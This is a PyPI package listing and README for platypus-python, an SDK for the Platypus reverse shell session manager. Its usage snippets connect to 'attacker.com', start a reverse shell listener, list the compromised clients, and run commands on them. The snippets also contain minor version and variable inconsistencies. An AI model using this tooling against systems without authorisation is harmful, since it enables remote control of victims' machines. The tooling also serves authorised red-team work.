semvec/pypi-packages huggingface dataset:
platypus-python 1.0.3
Python SDK for reverse shell sessions manager - Platypus v1.4.1
Requires Python: >=3.6
Keywords: platypus,sdk,reverse shell

# Platypus-Python

Python SDK for reverse shell sessions manager [Platypus v1.3.1](https://github.com/WangYihang/Platypus)

## Install

```bash
pip install platypus-python
```

## Usage

### Connect to Platypus endpoint
```python
import platypus_python as pp

p = pp.Platypus("attacker.com", 7331)
```

### Create a reverse shell server

```python
server = p.create_server("0.0.0.0", 13339)
```

### Stop a reverse shell server

```python
server = servers[0]
server.delete()
```

### Get all available listening servers

```python
servers = p.get_servers()
for server in servers():
    print(server)
```


### Get all online Clients of a server

```python
server = servers[0]
clients = server.get_clients()
for client in clients:
    print(client)
```

### Execute a command on a client

```python
client = clients[0]
client.system("id")
```